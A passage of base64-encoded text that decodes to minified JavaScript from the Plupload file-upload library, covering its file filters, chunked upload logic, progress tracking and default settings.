j8iKStpKSxlfSxmb3JtYXRTaXplOmZ1bmN0aW9uKGUpe2Z1bmN0aW9uIHQoZSx0KXtyZXR1cm4gTWF0aC5yb3VuZChlKk1hdGgucG93KDEwLHQpKS9NYXRoLnBvdygxMCx0KX1pZihlPT09T3x8L1xELy50ZXN0KGUpKXJldHVybiBDLnRyYW5zbGF0ZSgiTi9BIik7dmFyIGk9TWF0aC5wb3coMTAyNCw0KTtyZXR1cm4gaTxlP3QoZS9pLDEpKyIgIitDLnRyYW5zbGF0ZSgidGIiKTplPihpLz0xMDI0KT90KGUvaSwxKSsiICIrQy50cmFuc2xhdGUoImdiIik6ZT4oaS89MTAyNCk/dChlL2ksMSkrIiAiK0MudHJhbnNsYXRlKCJtYiIpOjEwMjQ8ZT9NYXRoLnJvdW5kKGUvMTAyNCkrIiAiK0MudHJhbnNsYXRlKCJrYiIpOmUrIiAiK0MudHJhbnNsYXRlKCJiIil9LHBhcnNlU2l6ZTppLkJhc2ljLnBhcnNlU2l6ZVN0cixwcmVkaWN0UnVudGltZTpmdW5jdGlvbihlLHQpe3ZhciBpLG47cmV0dXJuIGk9bmV3IEMuVXBsb2FkZXIoZSksbj1ELnRoYXRDYW4oaS5nZXRPcHRpb24oKS5yZXF1aXJlZF9mZWF0dXJlcyx0fHxlLnJ1bnRpbWVzKSxpLmRlc3Ryb3koKSxufSxhZGRGaWxlRmlsdGVyOmZ1bmN0aW9uKGUsdCl7VFtlXT10fX07Qy5hZGRGaWxlRmlsdGVyKCJtaW1lX3R5cGVzIixmdW5jdGlvbihlLHQsaSl7ZS5sZW5ndGgmJiFlLnJlZ2V4cC50ZXN0KHQubmFtZSk/KHRoaXMudHJpZ2dlcigiRXJyb3IiLHtjb2RlOkMuRklMRV9FWFRFTlNJT05fRVJST1IsbWVzc2FnZTpDLnRyYW5zbGF0ZSgiRmlsZSBleHRlbnNpb24gZXJyb3IuIiksZmlsZTp0fSksaSghMSkpOmkoITApfSksQy5hZGRGaWxlRmlsdGVyKCJtYXhfZmlsZV9zaXplIixmdW5jdGlvbihlLHQsaSl7ZT1DLnBhcnNlU2l6ZShlKSx2b2lkIDAhPT10LnNpemUmJmUmJnQuc2l6ZT5lPyh0aGlzLnRyaWdnZXIoIkVycm9yIix7Y29kZTpDLkZJTEVfU0laRV9FUlJPUixtZXNzYWdlOkMudHJhbnNsYXRlKCJGaWxlIHNpemUgZXJyb3IuIiksZmlsZTp0fSksaSghMSkpOmkoITApfSksQy5hZGRGaWxlRmlsdGVyKCJwcmV2ZW50X2R1cGxpY2F0ZXMiLGZ1bmN0aW9uKGUsdCxpKXtpZihlKWZvcih2YXIgbj10aGlzLmZpbGVzLmxlbmd0aDtuLS07KWlmKHQubmFtZT09PXRoaXMuZmlsZXNbbl0ubmFtZSYmdC5zaXplPT09dGhpcy5maWxlc1tuXS5zaXplKXJldHVybiB0aGlzLnRyaWdnZXIoIkVycm9yIix7Y29kZTpDLkZJTEVfRFVQTElDQVRFX0VSUk9SLG1lc3NhZ2U6Qy50cmFuc2xhdGUoIkR1cGxpY2F0ZSBmaWxlIGVycm9yLiIpLGZpbGU6dH0pLHZvaWQgaSghMSk7aSghMCl9KSxDLmFkZEZpbGVGaWx0ZXIoInByZXZlbnRfZW1wdHkiLGZ1bmN0aW9uKGUsdCxpKXtlJiYhdC5zaXplJiZ0LnNpemUhPT1PPyh0aGlzLnRyaWdnZXIoIkVycm9yIix7Y29kZTpDLkZJTEVfU0laRV9FUlJPUixtZXNzYWdlOkMudHJhbnNsYXRlKCJGaWxlIHNpemUgZXJyb3IuIiksZmlsZTp0fSksaSghMSkpOmkoITApfSksQy5VcGxvYWRlcj1mdW5jdGlvbihlKXtmdW5jdGlvbiBpKCl7dmFyIGUsdCxpPTA7aWYodGhpcy5zdGF0ZT09Qy5TVEFSVEVEKXtmb3IodD0wO3Q8Xy5sZW5ndGg7dCsrKWV8fF9bdF0uc3RhdHVzIT1DLlFVRVVFRD9pKys6KGU9X1t0XSx0aGlzLnRyaWdnZXIoIkJlZm9yZVVwbG9hZCIsZSkmJihlLnN0YXR1cz1DLlVQTE9BRElORyx0aGlzLnRyaWdnZXIoIlVwbG9hZEZpbGUiLGUpKSk7aT09Xy5sZW5ndGgmJih0aGlzLnN0YXRlIT09Qy5TVE9QUEVEJiYodGhpcy5zdGF0ZT1DLlNUT1BQRUQsdGhpcy50cmlnZ2VyKCJTdGF0ZUNoYW5nZWQiKSksdGhpcy50cmlnZ2VyKCJVcGxvYWRDb21wbGV0ZSIsXykpfX1mdW5jdGlvbiBuKGUpe2UucGVyY2VudD0wPGUuc2l6ZT9NYXRoLmNlaWwoZS5sb2FkZWQvZS5zaXplKjEwMCk6MTAwLHIoKX1mdW5jdGlvbiByKCl7dmFyIGUsdCxpLG49MDtmb3Iodi5yZXNldCgpLGU9MDtlPF8ubGVuZ3RoO2UrKykodD1fW2VdKS5zaXplIT09Tz8odi5zaXplKz10Lm9yaWdTaXplLGk9dC5sb2FkZWQqdC5vcmlnU2l6ZS90LnNpemUsKCF0LmNvbXBsZXRlVGltZXN0YW1wfHx0LmNvbXBsZXRlVGltZXN0YW1wPngpJiYobis9aSksdi5sb2FkZWQrPWkpOnYuc2l6ZT1PLHQuc3RhdHVzPT1DLkRPTkU/di51cGxvYWRlZCsrOnQuc3RhdHVzPT1DLkZBSUxFRD92LmZhaWxlZCsrOnYucXVldWVkKys7di5zaXplPT09Tz92LnBlcmNlbnQ9MDxfLmxlbmd0aD9NYXRoLmNlaWwodi51cGxvYWRlZC9fLmxlbmd0aCoxMDApOjA6KHYuYnl0ZXNQZXJTZWM9TWF0aC5jZWlsKG4vKCgrbmV3IERhdGUteHx8MSkvMWUzKSksdi5wZXJjZW50PTA8di5zaXplP01hdGguY2VpbCh2LmxvYWRlZC92LnNpemUqMTAwKTowKX1mdW5jdGlvbiB1KCl7dmFyIGU9d1swXXx8YlswXTtyZXR1cm4hIWUmJmUuZ2V0UnVudGltZSgpLnVpZH1mdW5jdGlvbiBvKG4sZSl7dmFyIHI9dGhpcyxvPTAsdD1bXSxzPXtydW50aW1lX29yZGVyOm4ucnVudGltZXMscmVxdWlyZWRfY2FwczpuLnJlcXVpcmVkX2ZlYXR1cmVzLHByZWZlcnJlZF9jYXBzOkUsc3dmX3VybDpuLmZsYXNoX3N3Zl91cmwseGFwX3VybDpuLnNpbHZlcmxpZ2h0X3hhcF91cmx9O0MuZWFjaChuLnJ1bnRpbWVzLnNwbGl0KC9ccyosXHMqLyksZnVuY3Rpb24oZSl7bltlXSYmKHNbZV09bltlXSl9KSxuLmJyb3dzZV9idXR0b24mJkMuZWFjaChuLmJyb3dzZV9idXR0b24sZnVuY3Rpb24oaSl7dC5wdXNoKGZ1bmN0aW9uKHQpe3ZhciBlPW5ldyBJLmZpbGUuRmlsZUlucHV0KEMuZXh0ZW5kKHt9LHMse2FjY2VwdDpuLmZpbHRlcnMubWltZV90eXBlcyxuYW1lOm4uZmlsZV9kYXRhX25hbWUsbXVsdGlwbGU6bi5tdWx0aV9zZWxlY3Rpb24sY29udGFpbmVyOm4uY29udGFpbmVyLGJyb3dzZV9idXR0b246aX0pKTtlLm9ucmVhZHk9ZnVuY3Rpb24oKXt2YXIgZT1ELmdldEluZm8odGhpcy5ydWlkKTtDLmV4dGVuZChyLmZlYXR1cmVzLHtjaHVua3M6ZS5jYW4oInNsaWNlX2Jsb2IiKSxtdWx0aXBhcnQ6ZS5jYW4oInNlbmRfbXVsdGlwYXJ0IiksbXVsdGlfc2VsZWN0aW9uOmUuY2FuKCJzZWxlY3RfbXVsdGlwbGUiKX0pLG8rKyx3LnB1c2godGhpcyksdCgpfSxlLm9uY2hhbmdlPWZ1bmN0aW9uKCl7ci5hZGRGaWxlKHRoaXMuZmlsZXMpfSxlLmJpbmQoIm1vdXNlZW50ZXIgbW91c2VsZWF2ZSBtb3VzZWRvd24gbW91c2V1cCIsZnVuY3Rpb24oZSl7Unx8KG4uYnJvd3NlX2J1dHRvbl9ob3ZlciYmKCJtb3VzZWVudGVyIj09PWUudHlwZT9DLmFkZENsYXNzKGksbi5icm93c2VfYnV0dG9uX2hvdmVyKToibW91c2VsZWF2ZSI9PT1lLnR5cGUmJkMucmVtb3ZlQ2xhc3MoaSxuLmJyb3dzZV9idXR0b25faG92ZXIpKSxuLmJyb3dzZV9idXR0b25fYWN0aXZlJiYoIm1vdXNlZG93biI9PT1lLnR5cGU/Qy5hZGRDbGFzcyhpLG4uYnJvd3NlX2J1dHRvbl9hY3RpdmUpOiJtb3VzZXVwIj09PWUudHlwZSYmQy5yZW1vdmVDbGFzcyhpLG4uYnJvd3NlX2J1dHRvbl9hY3RpdmUpKSl9KSxlLmJpbmQoIm1vdXNlZG93biIsZnVuY3Rpb24oKXtyLnRyaWdnZXIoIkJyb3dzZSIpfSksZS5iaW5kKCJlcnJvciBydW50aW1lZXJyb3IiLGZ1bmN0aW9uKCl7ZT1udWxsLHQoKX0pLGUuaW5pdCgpfSl9KSxuLmRyb3BfZWxlbWVudCYmQy5lYWNoKG4uZHJvcF9lbGVtZW50LGZ1bmN0aW9uKGkpe3QucHVzaChmdW5jdGlvbih0KXt2YXIgZT1uZXcgSS5maWxlLkZpbGVEcm9wKEMuZXh0ZW5kKHt9LHMse2Ryb3Bfem9uZTppfSkpO2Uub25yZWFkeT1mdW5jdGlvbigpe3ZhciBlPUQuZ2V0SW5mbyh0aGlzLnJ1aWQpO0MuZXh0ZW5kKHIuZmVhdHVyZXMse2NodW5rczplLmNhbigic2xpY2VfYmxvYiIpLG11bHRpcGFydDplLmNhbigic2VuZF9tdWx0aXBhcnQiKSxkcmFnZHJvcDplLmNhbigiZHJhZ19hbmRfZHJvcCIpfSksbysrLGIucHVzaCh0aGlzKSx0KCl9LGUub25kcm9wPWZ1bmN0aW9uKCl7ci5hZGRGaWxlKHRoaXMuZmlsZXMpfSxlLmJpbmQoImVycm9yIHJ1bnRpbWVlcnJvciIsZnVuY3Rpb24oKXtlPW51bGwsdCgpfSksZS5pbml0KCl9KX0pLEMuaW5TZXJpZXModCxmdW5jdGlvbigpeyJmdW5jdGlvbiI9PXR5cGVvZiBlJiZlKG8pfSl9ZnVuY3Rpb24gcyhlLHQsaSl7ZnVuY3Rpb24gbihlLHQsaSl7dmFyIG4scixvPWdbZV07c3dpdGNoKGUpe2Nhc2UibWF4X2ZpbGVfc2l6ZSI6Im1heF9maWxlX3NpemUiPT09ZSYmKGcubWF4X2ZpbGVfc2l6ZT1nLmZpbHRlcnMubWF4X2ZpbGVfc2l6ZT10KTticmVhaztjYXNlImNodW5rX3NpemUiOih0PUMucGFyc2VTaXplKHQpKSYmKGdbZV09dCxnLnNlbmRfZmlsZV9uYW1lPSEwKTticmVhaztjYXNlIm11bHRpcGFydCI6KGdbZV09dCl8fChnLnNlbmRfZmlsZV9uYW1lPSEwKTticmVhaztjYXNlImh0dHBfbWV0aG9kIjpnW2VdPSJQVVQiPT09dC50b1VwcGVyQ2FzZSgpPyJQVVQiOiJQT1NUIjticmVhaztjYXNlInVuaXF1ZV9uYW1lcyI6KGdbZV09dCkmJihnLnNlbmRfZmlsZV9uYW1lPSEwKTticmVhaztjYXNlImZpbHRlcnMiOiJhcnJheSI9PT1DLnR5cGVPZih0KSYmKHQ9e21pbWVfdHlwZXM6dH0pLGk/Qy5leHRlbmQoZy5maWx0ZXJzLHQpOmcuZmlsdGVycz10LHQubWltZV90eXBlcyYmKCJzdHJpbmciPT09Qy50eXBlT2YodC5taW1lX3R5cGVzKSYmKHQubWltZV90eXBlcz1JLmNvcmUudXRpbHMuTWltZS5taW1lczJleHRMaXN0KHQubWltZV90eXBlcykpLHQubWltZV90eXBlcy5yZWdleHA9KG49dC5taW1lX3R5cGVzLHI9W10sQy5lYWNoKG4sZnVuY3Rpb24oZSl7Qy5lYWNoKGUuZXh0ZW5zaW9ucy5zcGxpdCgvLC8pLGZ1bmN0aW9uKGUpey9eXHMqXCpccyokLy50ZXN0KGUpP3IucHVzaCgiXFwuKiIpOnIucHVzaCgiXFwuIitlLnJlcGxhY2UobmV3IFJlZ0V4cCgiWyIrIi9eJC4qKz98KClbXXt9XFwiLnJlcGxhY2UoLy4vZywiXFwkJiIpKyJdIiwiZyIpLCJcXCQmIikpfSl9KSxuZXcgUmVnRXhwKCIoIityLmpvaW4oInwiKSsiKSQiLCJpIikpLGcuZmlsdGVycy5taW1lX3R5cGVzPXQubWltZV90eXBlcyk7YnJlYWs7Y2FzZSJyZXNpemUiOmcucmVzaXplPSEhdCYmQy5leHRlbmQoe3ByZXNlcnZlX2hlYWRlcnM6ITAsY3JvcDohMX0sdCk7YnJlYWs7Y2FzZSJwcmV2ZW50X2R1cGxpY2F0ZXMiOmcucHJldmVudF9kdXBsaWNhdGVzPWcuZmlsdGVycy5wcmV2ZW50X2R1cGxpY2F0ZXM9ISF0O2JyZWFrO2Nhc2UiY29udGFpbmVyIjpjYXNlImJyb3dzZV9idXR0b24iOmNhc2UiZHJvcF9lbGVtZW50Ijp0PSJjb250YWluZXIiPT09ZT9DLmdldCh0KTpDLmdldEFsbCh0KTtjYXNlInJ1bnRpbWVzIjpjYXNlIm11bHRpX3NlbGVjdGlvbiI6Y2FzZSJmbGFzaF9zd2ZfdXJsIjpjYXNlInNpbHZlcmxpZ2h0X3hhcF91cmwiOmdbZV09dCxpfHwoYT0hMCk7YnJlYWs7ZGVmYXVsdDpnW2VdPXR9aXx8cy50cmlnZ2VyKCJPcHRpb25DaGFuZ2VkIixlLHQsbyl9dmFyIHM9dGhpcyxhPSExOyJvYmplY3QiPT10eXBlb2YgZT9DLmVhY2goZSxmdW5jdGlvbihlLHQpe24odCxlLGkpfSk6bihlLHQsaSksaT8oZy5yZXF1aXJlZF9mZWF0dXJlcz1BKEMuZXh0ZW5kKHt9LGcpKSxFPUEoQy5leHRlbmQoe30sZyx7cmVxdWlyZWRfZmVhdHVyZXM6ITB9KSkpOmEmJihzLnRyaWdnZXIoIkRlc3Ryb3kiKSxvLmNhbGwocyxnLGZ1bmN0aW9uKGUpe2U/KHMucnVudGltZT1ELmdldEluZm8odSgpKS50eXBlLHMudHJpZ2dlcigiSW5pdCIse3J1bnRpbWU6cy5ydW50aW1lfSkscy50cmlnZ2VyKCJQb3N0SW5pdCIpKTpzLnRyaWdnZXIoIkVycm9yIix7Y29kZTpDLklOSVRfRVJST1IsbWVzc2FnZTpDLnRyYW5zbGF0ZSgiSW5pdCBlcnJvci4iKX0pfSkpfWZ1bmN0aW9uIGEoZSx0KXtpZihlLnNldHRpbmdzLnVuaXF1ZV9uYW1lcyl7dmFyIGk9dC5uYW1lLm1hdGNoKC9cLihbXi5dKykkLyksbj0icGFydCI7aSYmKG49aVsxXSksdC50YXJnZXRfbmFtZT10LmlkKyIuIitufX1mdW5jdGlvbiBjKGEsdSl7ZnVuY3Rpb24gYygpezA8bS0tP1MobCwxZTMpOih1LmxvYWRlZD1nLGEudHJpZ2dlcigiRXJyb3IiLHtjb2RlOkMuSFRUUF9FUlJPUixtZXNzYWdlOkMudHJhbnNsYXRlKCJIVFRQIEVycm9yLiIpLGZpbGU6dSxyZXNwb25zZTp5LnJlc3BvbnNlVGV4dCxzdGF0dXM6eS5zdGF0dXMscmVzcG9uc2VIZWFkZXJzOnkuZ2V0QWxsUmVzcG9uc2VIZWFkZXJzKCl9KSl9ZnVuY3Rpb24gbCgpe3ZhciBlLHQsaSxuLHIsbyxzPXt9O3Uuc3RhdHVzPT09Qy5VUExPQURJTkcmJmEuc3RhdGUhPT1DLlNUT1BQRUQmJihhLnNldHRpbmdzLnNlbmRfZmlsZV9uYW1lJiYocy5uYW1lPXUudGFyZ2V0X25hbWV8fHUubmFtZSksZT1wJiZmLmNodW5rcyYmZC5zaXplPnA/KHQ9TWF0aC5taW4ocCxkLnNpemUtZyksZC5zbGljZShnLGcrdCkpOih0PWQuc2l6ZSxkKSxwJiZmLmNodW5rcyYmKGEuc2V0dGluZ3Muc2VuZF9jaHVua19udW1iZXI/KHMuY2h1bms9TWF0aC5jZWlsKGcvcCkscy5jaHVua3M9TWF0aC5jZWlsKGQuc2l6ZS9wKSk6KHMub2Zmc2V0PWcscy50b3RhbD1kLnNpemUpKSxhLnRyaWdnZXIoIkJlZm9yZUNodW5rVXBsb2FkIix1LHMsZSxnKSYmKGk9cyxuPWUscj10LCh5PW5ldyBJLnhoci5YTUxIdHRwUmVxdWVzdCkudXBsb2FkJiYoeS51cGxvYWQub25wcm9ncmVzcz1mdW5jdGlvbihlKXt1LmxvYWRlZD1NYXRoLm1pbih1LnNpemUsZytlLmxvYWRlZCksYS50cmlnZ2VyKCJVcGxvYWRQcm9ncmVzcyIsdSl9KSx5Lm9ubG9hZD1mdW5jdGlvbigpe3JldHVybiB5LnN0YXR1czwyMDB8fDQwMDw9eS5zdGF0dXM/dm9pZCBjKCk6KG09YS5zZXR0aW5ncy5tYXhfcmV0cmllcyxyPGQuc2l6ZT8obi5kZXN0cm95KCksZys9cix1LmxvYWRlZD1NYXRoLm1pbihnLGQuc2l6ZSksYS50cmlnZ2VyKCJDaHVua1VwbG9hZGVkIix1LHtvZmZzZXQ6dS5sb2FkZWQsdG90YWw6ZC5zaXplLHJlc3BvbnNlOnkucmVzcG9uc2VUZXh0LHN0YXR1czp5LnN0YXR1cyxyZXNwb25zZUhlYWRlcnM6eS5nZXRBbGxSZXNwb25zZUhlYWRlcnMoKX0pLCJBbmRyb2lkIEJyb3dzZXIiPT09Qy51YS5icm93c2VyJiZhLnRyaWdnZXIoIlVwbG9hZFByb2dyZXNzIix1KSk6dS5sb2FkZWQ9dS5zaXplLG49bz1udWxsLHZvaWQoIWd8fGc+PWQuc2l6ZT8odS5zaXplIT11Lm9yaWdTaXplJiYoZC5kZXN0cm95KCksZD1udWxsKSxhLnRyaWdnZXIoIlVwbG9hZFByb2dyZXNzIix1KSx1LnN0YXR1cz1DLkRPTkUsdS5jb21wbGV0ZVRpbWVzdGFtcD0rbmV3IERhdGUsYS50cmlnZ2VyKCJGaWxlVXBsb2FkZWQiLHUse3Jlc3BvbnNlOnkucmVzcG9uc2VUZXh0LHN0YXR1czp5LnN0YXR1cyxyZXNwb25zZUhlYWRlcnM6eS5nZXRBbGxSZXNwb25zZUhlYWRlcnMoKX0pKTpTKGwsMSkpKX0seS5vbmVycm9yPWZ1bmN0aW9uKCl7YygpfSx5Lm9ubG9hZGVuZD1mdW5jdGlvbigpe3RoaXMuZGVzdHJveSgpfSxhLnNldHRpbmdzLm11bHRpcGFydCYmZi5tdWx0aXBhcnQ/KHkub3BlbihhLnNldHRpbmdzLmh0dHBfbWV0aG9kLGgsITApLEMuZWFjaChhLnNldHRpbmdzLmhlYWRlcnMsZnVuY3Rpb24oZSx0KXt5LnNldFJlcXVlc3RIZWFkZXIodCxlKX0pLG89bmV3IEkueGhyLkZvcm1EYXRhLEMuZWFjaChDLmV4dGVuZChpLGEuc2V0dGluZ3MubXVsdGlwYXJ0X3BhcmFtcyksZnVuY3Rpb24oZSx0KXtvLmFwcGVuZCh0LGUpfSksby5hcHBlbmQoYS5zZXR0aW5ncy5maWxlX2RhdGFfbmFtZSxuKSx5LnNlbmQobyx4KSk6KGg9Qy5idWlsZFVybChhLnNldHRpbmdzLnVybCxDLmV4dGVuZChpLGEuc2V0dGluZ3MubXVsdGlwYXJ0X3BhcmFtcykpLHkub3BlbihhLnNldHRpbmdzLmh0dHBfbWV0aG9kLGgsITApLEMuZWFjaChhLnNldHRpbmdzLmhlYWRlcnMsZnVuY3Rpb24oZSx0KXt5LnNldFJlcXVlc3RIZWFkZXIodCxlKX0pLHkuaGFzUmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIil8fHkuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIikseS5zZW5kKG4seCkpKSl9dmFyIGQsaD1hLnNldHRpbmdzLnVybCxwPWEuc2V0dGluZ3MuY2h1bmtfc2l6ZSxtPWEuc2V0dGluZ3MubWF4X3JldHJpZXMsZj1hLmZlYXR1cmVzLGc9MCx4PXtydW50aW1lX29yZGVyOmEuc2V0dGluZ3MucnVudGltZXMscmVxdWlyZWRfY2FwczphLnNldHRpbmdzLnJlcXVpcmVkX2ZlYXR1cmVzLHByZWZlcnJlZF9jYXBzOkUsc3dmX3VybDphLnNldHRpbmdzLmZsYXNoX3N3Zl91cmwseGFwX3VybDphLnNldHRpbmdzLnNpbHZlcmxpZ2h0X3hhcF91cmx9O3UubG9hZGVkJiYoZz11LmxvYWRlZD1wP3AqTWF0aC5mbG9vcih1LmxvYWRlZC9wKTowKSxkPXUuZ2V0U291cmNlKCksQy5pc0VtcHR5T2JqKGEuc2V0dGluZ3MucmVzaXplKXx8LTE9PT1DLmluQXJyYXkoZC50eXBlLFsiaW1hZ2UvanBlZyIsImltYWdlL3BuZyJdKT9sKCk6ZnVuY3Rpb24odCxpLGUsbil7dmFyIHI9bmV3IEkuaW1hZ2UuSW1hZ2U7dHJ5e3Iub25sb2FkPWZ1bmN0aW9uKCl7aS53aWR0aD50aGlzLndpZHRoJiZpLmhlaWdodD50aGlzLmhlaWdodCYmaS5xdWFsaXR5PT09TyYmaS5wcmVzZXJ2ZV9oZWFkZXJzJiYhaS5jcm9wPyh0aGlzLmRlc3Ryb3koKSxuKHQpKTpyLmRvd25zaXplKGkud2lkdGgsaS5oZWlnaHQsaS5jcm9wLGkucHJlc2VydmVfaGVhZGVycyl9LHIub25yZXNpemU9ZnVuY3Rpb24oKXt2YXIgZT10aGlzLmdldEFzQmxvYih0LnR5cGUsaS5xdWFsaXR5KTt0aGlzLmRlc3Ryb3koKSxuKGUpfSxyLmJpbmQoImVycm9yIHJ1bnRpbWVlcnJvciIsZnVuY3Rpb24oKXt0aGlzLmRlc3Ryb3koKSxuKHQpfSksci5sb2FkKHQsZSl9Y2F0Y2goZSl7bih0KX19KGQsYS5zZXR0aW5ncy5yZXNpemUseCxmdW5jdGlvbihlKXtkPWUsdS5zaXplPWUuc2l6ZSxsKCl9KX1mdW5jdGlvbiBsKGUsdCl7bih0KX1mdW5jdGlvbiBkKGUpe2lmKGUuc3RhdGU9PUMuU1RBUlRFRCl4PStuZXcgRGF0ZTtlbHNlIGlmKGUuc3RhdGU9PUMuU1RPUFBFRClmb3IodmFyIHQ9ZS5maWxlcy5sZW5ndGgtMTswPD10O3QtLSllLmZpbGVzW3RdLnN0YXR1cz09Qy5VUExPQURJTkcmJihlLmZpbGVzW3RdLnN0YXR1cz1DLlFVRVVFRCxyKCkpfWZ1bmN0aW9uIGgoKXt5JiZ5LmFib3J0KCl9ZnVuY3Rpb24gcChlKXtyKCksUyhmdW5jdGlvbigpe2kuY2FsbChlKX0sMSl9ZnVuY3Rpb24gbShlLHQpe3QuY29kZT09PUMuSU5JVF9FUlJPUj9lLmRlc3Ryb3koKTp0LmNvZGU9PT1DLkhUVFBfRVJST1ImJih0LmZpbGUuc3RhdHVzPUMuRkFJTEVELHQuZmlsZS5jb21wbGV0ZVRpbWVzdGFtcD0rbmV3IERhdGUsbih0LmZpbGUpLGUuc3RhdGU9PUMuU1RBUlRFRCYmKGUudHJpZ2dlcigiQ2FuY2VsVXBsb2FkIiksUyhmdW5jdGlvbigpe2kuY2FsbChlKX0sMSkpKX1mdW5jdGlvbiBmKGUpe2Uuc3RvcCgpLEMuZWFjaChfLGZ1bmN0aW9uKGUpe2UuZGVzdHJveSgpfSksXz1bXSx3Lmxlbmd0aCYmKEMuZWFjaCh3LGZ1bmN0aW9uKGUpe2UuZGVzdHJveSgpfSksdz1bXSksYi5sZW5ndGgmJihDLmVhY2goYixmdW5jdGlvbihlKXtlLmRlc3Ryb3koKX0pLGI9W10pLFI9IShFPXt9KSx4PXk9bnVsbCx2LnJlc2V0KCl9dmFyIGcseCx2LHksdD1DLmd1aWQoKSxfPVtdLEU9e30sdz1bXSxiPVtdLFI9ITE7Zz17Y2h1bmtfc2l6ZTowLGZpbGVfZGF0YV9uYW1lOiJmaWxlIixmaWx0ZXJzOnttaW1lX3R5cGVzOltdLG1heF9maWxlX3NpemU6MCxwcmV2ZW50X2R1cGxpY2F0ZXM6ITEscHJldmVudF9lbXB0eTohMH0sZmxhc2hfc3dmX3VybDoianMvTW94aWUuc3dmIixodHRwX21ldGhvZDoiUE9TVCIsbWF4X3JldHJpZXM6MCxtdWx0aXBhcnQ6ITAsbXVsdGlfc2VsZWN0aW9uOiEwLHJlc2l6ZTohMSxydW50aW1lczpELm9yZGVyLHNlbmRfZmlsZV9uYW1lOiEwLHNlbmRfY2h1bmtfbnVtYmVyOiEwLHNpbHZlcmxpZ2h0X3hhcF91cmw6ImpzL01veGllLnhhcCJ9LHMuY2FsbCh0aGlzLGUsbnVsbCwhMCksdj1uZXcgQy5RdWV1ZVByb2dyZXNzLEMuZXh0ZW5kKHRoaXMse2lkOnQsdWlkOnQsc3RhdGU6Qy5TVE9QUEVELGZlYXR1cmVzOnt9LHJ1bnRpbWU6bnVsbCxmaWxlczpfLHNldHRpbmdzOmcsdG90YWw6dixpbml0OmZ1bmN0aW9uKCl7dmFyIGUsdCxpPXRoaXM7cmV0dXJuImZ1bmN0aW9uIj09dHlwZW9mKGU9aS5nZXRPcHRpb24oInByZWluaXQiKSk/ZShpKTpDLmVhY2goZSxmdW5jdGlvbihlLHQpe2kuYmluZCh0LGUpfSksZnVuY3Rpb24oKXt0aGlzLmJpbmQoIkZpbGVzQWRkZWQgRmlsZXNSZW1vdmVkIixmdW5jdGlvbihlKXtlLnRyaWdnZXIoIlF1ZXVlQ2hhbmdlZCIpLGUucmVmcmVzaCgpfSksdGhpcy5iaW5kKCJDYW5jZWxVcGxvYWQiLGgpLHRoaXMuYmluZCgiQmVmb3JlVXBsb2FkIixhKSx0aGlzLmJpbmQoIlVwbG9hZEZpbGUiLGMpLHRoaXMuYmluZCgiVXBsb2FkUHJvZ3Jlc3MiLGwpLHRoaXMuYmluZCgiU3RhdGVDaGFuZ2VkIixkKSx0aGlzLmJpbmQoIlF1ZXVlQ2hhbmdlZCIsciksdGhpcy5iaW5kKCJFcnJvciIsbSksdGhpcy5iaW5kKCJGaWxlVXBsb2FkZWQiLHApLHRoaXMuYmluZCgiRGVzdHJveSIsZil9LmNhbGwoaSksQy5lYWNoKFsiY29udGFpbmVyIiwiYnJvd3NlX2J1dHRvbiIsImRyb3BfZWxlbWVudCJdLGZ1bmN0aW9uKGUpe3JldHVybiBudWxsPT09aS5nZXRPcHRpb24oZSk/ISh0PXtjb2RlOkMuSU5JVF9FUlJPUixtZXNzYWdlOkMuc3ByaW50ZihDLnRyYW5zbGF0ZSgiJXMgc3BlY2lmaWVkLCBidXQgY2Fubm90IGJlIGZvdW5kLiIpLGUpfSk6dm9pZCAwfSksdD9pLnRyaWdnZXIoIkVycm9yIix0KTpnLmJyb3dzZV9idXR0b258fGcuZHJvcF9lbGVtZW50P3ZvaWQgby5jYWxsKGksZyxmdW5jdGlvbihlKXt2YXIgdD1pLmdldE9wdGlvbigiaW5pdCIpOyJmdW5jdGlvbiI9PXR5cGVvZiB0P3QoaSk6Qy5lYWNoKHQsZnVuY3Rpb24oZSx0KXtpLmJpbmQodCxlKX0pLGU/KGkucnVudGltZT1ELmdldEluZm8odSgpKS50eXBlLGkudHJpZ2dlcigiSW5pdCIse3J1bnRpbWU6aS5ydW50aW1lfSksaS50cmlnZ2VyKCJQb3N0SW5pdCIpKTppLnRyaWdnZXIoIkVycm9yIix7Y29kZTpDLklOSVRfRVJST1IsbWVzc2FnZTpDLnRyYW5zbGF0ZSgiSW5pdCBlcnJvci4iKX0pfSk6aS50cmlnZ2VyKCJFcnJvciIse2NvZGU6Qy5JTklUX0VSUk9SLG1lc3NhZ2U6Qy50cmFuc2xhdGUoIllvdSBtdXN0IHNwZWNpZnkgZWl0aGVyIGJyb3dzZV9idXR0b24gb3IgZHJvcF9lbGVtZW50LiIpfSl9LHNldE9wdGlvbjpmdW5jdGlvbihlLHQpe3MuY2FsbCh0aGlzLGUsdCwhdGhpcy5ydW50aW1lKX0sZ2V0T3B0aW9uOmZ1bmN0aW9uKGUpe3JldHVybiBlP2dbZV06Z30scmVmcmVzaDpmdW5jdGlvbigpe3cubGVuZ3RoJiZDLmVhY2godyxmdW5jdGlvbihlKXtlLnRyaWdnZXIoIlJlZnJlc2giKX0pLHRoaXMudHJpZ2dlcigiUmVmcmVzaCIpfSxzdGFydDpmdW5jdGlvbigpe3RoaXMuc3RhdGUhPUMuU1RBUlRFRCYmKHRoaXMuc3RhdGU9Qy5TVEFSVEVELHRoaXMudHJpZ2dlcigiU3RhdGVDaGFuZ2VkIiksaS5jYWxsKHRoaXMpKX0sc3RvcDpmdW5jdGlvbigpe3RoaXMuc3RhdGUhPUMuU1RPUFBFRCYmKHRoaXMuc3RhdGU9Qy5TVE9QUEVELHRoaXMudHJpZ2dlcigiU3RhdGVDaGFuZ2VkIiksdGhpcy50cmlnZ2VyKCJDYW5jZWxVcGxvYWQiKSl9LGRpc2FibGVCcm93c2U6ZnVuY3Rpb24oKXtSPWFyZ3VtZW50c1swXT09PU98fGFyZ3VtZW50c1swXSx3Lmxlbmd0aCYmQy5lYWNoKHcsZnVuY3Rpb24oZSl7ZS5kaXNhYmxlKFIpfSksdGhpcy50cmlnZ2VyKCJEaXNhYmxlQnJvd3NlIixSKX0sZ2V0RmlsZTpmdW5jdGlvbihlKXt2YXIgdDtmb3IodD1fLmxlbmd0aC0xOzA8PXQ7dC0tKWlmKF9bdF0uaWQ9PT1lKXJldHVybiBfW3RdfSxhZGRGaWxlOmZ1bmN0aW9uKGUsbil7dmFyIHIsbz10aGlzLHM9W10sYT1b